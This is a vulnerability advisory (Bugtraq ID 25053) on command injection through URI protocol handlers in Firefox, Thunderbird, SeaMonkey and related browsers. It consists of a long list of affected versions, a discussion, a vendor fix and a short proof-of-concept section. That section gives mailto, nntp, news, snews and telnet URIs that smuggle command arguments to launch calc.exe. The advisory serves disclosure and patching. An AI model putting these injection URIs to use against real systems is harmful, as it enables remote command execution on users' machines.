Multiple Browser URI Handlers Command Injection Vulnerabilities

BID:25053

Info

Multiple Browser URI Handlers Command Injection Vulnerabilities

Bugtraq ID: 25053
Class: Input Validation Error
CVE: CVE-2007-4041
CVE-2007-3845
Remote: Yes
Local: No
Published: Jul 25 2007 12:00AM
Updated: Mar 18 2008 10:20PM
Credit: Billy Rios discovered these issues.
Vulnerable: Ubuntu Ubuntu Linux 7.04 sparc
Ubuntu Ubuntu Linux 7.04 powerpc
Ubuntu Ubuntu Linux 7.04 i386
Ubuntu Ubuntu Linux 7.04 amd64
Ubuntu Ubuntu Linux 6.10 sparc
Ubuntu Ubuntu Linux 6.10 powerpc
Ubuntu Ubuntu Linux 6.10 i386
Ubuntu Ubuntu Linux 6.10 amd64
Ubuntu Ubuntu Linux 6.06 LTS sparc
Ubuntu Ubuntu Linux 6.06 LTS powerpc
Ubuntu Ubuntu Linux 6.06 LTS i386
Ubuntu Ubuntu Linux 6.06 LTS amd64
Turbolinux wizpy 0
Turbolinux FUJI 0
SuSE SUSE Linux Enterprise Server 8
+ Linux kernel 2.4.21
+ Linux kernel 2.4.19
SuSE SUSE Linux Enterprise Server 10 SP1
SuSE SUSE Linux Enterprise Desktop 10 SP1
SuSE Linux Professional 10.2 x86_64
SuSE Linux Personal 10.2 x86_64
Sun Solaris 10_x86
Sun Solaris 10
Slackware Linux 12.0
Slackware Linux 11.0
S.u.S.E. UnitedLinux 1.0
S.u.S.E. SuSE Linux Standard Server 8.0
S.u.S.E. SuSE Linux School Server for i386
S.u.S.E. SUSE LINUX Retail Solution 8.0
S.u.S.E. SuSE Linux Openexchange Server 4.0
S.u.S.E. openSUSE 10.3
S.u.S.E. openSUSE 10.2
S.u.S.E. Open-Enterprise-Server 0
S.u.S.E. Novell Linux POS 9
S.u.S.E. Novell Linux Desktop 9
S.u.S.E. Linux Professional 10.0 OSS
S.u.S.E. Linux Professional 10.0
S.u.S.E. Linux Professional 10.2
S.u.S.E. Linux Professional 10.1
S.u.S.E. Linux Personal 10.0 OSS
S.u.S.E. Linux Personal 10.2
S.u.S.E. Linux Personal 10.1
S.u.S.E. Linux Enterprise Server 9
S.u.S.E. Linux Enterprise Server 10.SP1
S.u.S.E. Linux 10.1 x86-64
S.u.S.E. Linux 10.1 x86
S.u.S.E. Linux 10.1 ppc
S.u.S.E. Linux 10.0 x86-64
S.u.S.E. Linux 10.0 x86
S.u.S.E. Linux 10.0 ppc
rPath rPath Linux 1
Netscape Navigator 9.0
Mozilla Thunderbird 2.0 .5
Mozilla Thunderbird 2.0 .4
Mozilla Thunderbird 1.5 beta 2
Mozilla Thunderbird 1.5 .9
Mozilla Thunderbird 1.5
Mozilla Thunderbird 1.0.8
Mozilla Thunderbird 1.0.7
Mozilla Thunderbird 1.0.6
Mozilla Thunderbird 1.0.5
Mozilla Thunderbird 1.0.2
Mozilla Thunderbird 1.0.1
Mozilla Thunderbird 1.0
Mozilla Thunderbird 0.9
Mozilla Thunderbird 0.8
Mozilla Thunderbird 0.7.3
Mozilla Thunderbird 0.7.2
Mozilla Thunderbird 0.7.1
Mozilla Thunderbird 0.7
Mozilla Thunderbird 0.6
Mozilla Thunderbird 1.5.0.8
Mozilla Thunderbird 1.5.0.7
Mozilla Thunderbird 1.5.0.5
Mozilla Thunderbird 1.5.0.4
Mozilla Thunderbird 1.5.0.2
Mozilla Thunderbird 1.5.0.12
Mozilla Thunderbird 1.5.0.10
Mozilla Thunderbird 1.5.0.1
Mozilla SeaMonkey 1.1.3
Mozilla SeaMonkey 1.1.2
Mozilla SeaMonkey 1.1.1
Mozilla SeaMonkey 1.0.99
Mozilla SeaMonkey 1.0.9
Mozilla SeaMonkey 1.0.8
Mozilla SeaMonkey 1.0.7
Mozilla SeaMonkey 1.0.6
Mozilla SeaMonkey 1.0.5
Mozilla SeaMonkey 1.0.3
Mozilla SeaMonkey 1.0.2
Mozilla SeaMonkey 1.0.1
Mozilla SeaMonkey 1.1 beta
Mozilla SeaMonkey 1.0 dev
Mozilla SeaMonkey 1.0
Mozilla Grand Paradiso 3.0a6
Mozilla Firefox 2.0 .5
Mozilla Firefox 2.0 .4
Mozilla Firefox 2.0 .3
Mozilla Firefox 2.0 .1
Mozilla Firefox 2.0.0.3
Mozilla Firefox 2.0.0.2
Mozilla Firefox 2.0 RC3
Mozilla Firefox 2.0 RC2
Mozilla Firefox 2.0 beta 1
Mozilla Firefox 2.0
Mandriva Linux Mandrake 2008.0 x86_64
Mandriva Linux Mandrake 2008.0
Mandriva Linux Mandrake 2007.1 x86_64
Mandriva Linux Mandrake 2007.1
HP HP-UX B.11.23
HP HP-UX B.11.11
Foresight Linux Foresight Linux 1.1
Debian Xulrunner 0
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 powerpc
Debian Linux 4.0 mipsel
Debian Linux 4.0 mips
Debian Linux 4.0 m68k
Debian Linux 4.0 ia-64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 arm
Debian Linux 4.0 amd64
Debian Linux 4.0 alpha
Debian Linux 4.0
Debian Iceweasel 0
Debian Iceape 1.0.10
Not Vulnerable: Mozilla Thunderbird 2.0 .6
Mozilla Thunderbird 1.5 .13
Mozilla SeaMonkey 1.1.4
Mozilla Firefox 2.0 .6

Discussion

Multiple Browser URI Handlers Command Injection Vulnerabilities

Multiple browsers are prone to vulnerabilities that let attackers inject commands through various protocol handlers.

Exploiting these issues allows remote attackers to pass and execute arbitrary commands and arguments through processes such as 'cmd.exe' by employing various URI handlers.

An attacker can exploit these issues to carry out various attacks by executing arbitrary commands on a vulnerable computer.

Exploiting these issues would permit remote attackers to influence command options that can be called through protocol handlers and to execute commands with the privileges of a user running the application. Successful attacks may result in a variety of consequences, including remote unauthorized access.

Mozilla Firefox 2.0.0.5, 3.0a6 and Netscape Navigator 9 are reported vulnerable to these issues. Other versions of these browsers and other vendors' browsers may also be affected.

Exploit / POC

Multiple Browser URI Handlers Command Injection Vulnerabilities

The following proofs of concept demonstrate this vulnerability.

mailto:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat

nntp:windows/system32/calc.exe%20"%20-%20"%20blah.bat

news:windows/system32/calc.exe%20"%20-%20"%20blah.bat

snews:windows/system32/calc.exe%20"%20-%20"%20blah.bat

telnet:windows/system32/calc.exe%20"%20-%20"%20blah.bat

telnet:// rundll32.exe url.dll,TelnetProtocolHandler %l

news:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1

nntp:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1

snews:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1

mailto:// C:\lotus\notes\notes.exe /defini %1

Solution / Fix

Multiple Browser URI Handlers Command Injection Vulnerabilities

Solution:
Mozilla has addressed these vulnerabilities with the release of Firefox 2.0.0.6, Thunderbird 2.0.0.6, and SeaMonkey 1.1.4. Please see the vendor references for more information.


Sun Solaris 10_x86

Mozilla Firefox 2.0 .5

References

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